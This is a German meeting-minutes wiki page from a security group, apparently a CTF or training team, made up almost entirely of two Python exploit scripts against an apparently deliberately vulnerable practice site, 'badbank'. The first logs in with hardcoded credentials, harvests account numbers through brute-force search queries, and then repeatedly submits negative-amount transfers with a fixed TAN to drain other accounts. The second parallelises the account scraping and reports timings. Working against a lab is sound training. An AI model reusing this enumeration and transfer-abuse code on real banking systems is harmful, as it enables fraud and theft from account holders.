CInsects/Protokolle/CInsects:Treffen-2010-11-16

Exploit

Ein moeglicher Exploit

Haesslicher Quelltext:

import urllib2
import urllib
import cookielib
import re
from itertools import product
import string

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'
data = urllib.urlencode({
    'user': 'Jan',
    'password': 'AZyNEBAeTC'
})
request = urllib2.urlopen(url + '/index.php', data)
login = request.read()

def alpha_beta_liste():
    return [a+b for a, b in product(string.lowercase, string.lowercase)]

def search(params):
    print params
    req = urllib2.urlopen(url + '/index.php?page=search', params)
    suche = req.read()
    result = ktnre.findall(suche)
    if result:
        name_nummer_list.append(result)
    print name_nummer_list

def transfer(kontonummer, betrag, tan_id, tan):
    params = urllib.urlencode({'account': kontonummer, 'amount': betrag, 'tan_id': tan_id, 'tan': tan})
    req = urllib2.urlopen(url + '/index.php?page=transfer', params)
    seite = req.read()
    if erfolg.findall(seite):
        print "Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen." % (name, -betrag)
    else:
        print "Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden." % name
    
alphabeta  = alpha_beta_liste()
ktnre = re.compile('<td>(.*)</td>')
betrag = -10
tan_id = 500
tan = 700338
erfolg = re.compile("<h2>Erfolgreiche Ueberweisung!</h2>")
name_nummer_list = []

for name in alphabeta:
    print name
    params = urllib.urlencode({'name': name})
    while True:
        try:
            search(params)
            break
        except urllib2.URLError, e:
            print "Fehler aufgetreten" + e


while True:
    for elem in name_nummer_list:
        name, kontonummer = elem

        while True:
            try:
                transfer(kontonummer, betrag, tan_id, tan)
                break
            except:
                pass

Schnelles auslesen der Kontonummern ueber gevent

from gevent import monkey
monkey.patch_socket()

import urllib2
import urllib
import cookielib
import string
import re
from itertools import product, chain
import gevent

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'

def login(user, password):
    params = urllib.urlencode({
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)

# Wir interessieren und nur fuer die Kontonummern
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
def fetch_accounts(searchterm):
    params = urllib.urlencode({
        'name': searchterm
    })
    data = urllib2.urlopen(url + '/index.php?page=search', params).read()
    return account_re.findall(data)

if __name__ == '__main__':
    login('Jan', 'AZyNEBAeTC')
    searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
    jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
    gevent.joinall(jobs, timeout=120)
    # Ergebnisse lesen und Liste flachklopfen
    accounts = list(chain(*[job.value for job in jobs]))
    print accounts

Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests):

real	0m19.563s
user	0m1.356s
sys	0m0.240s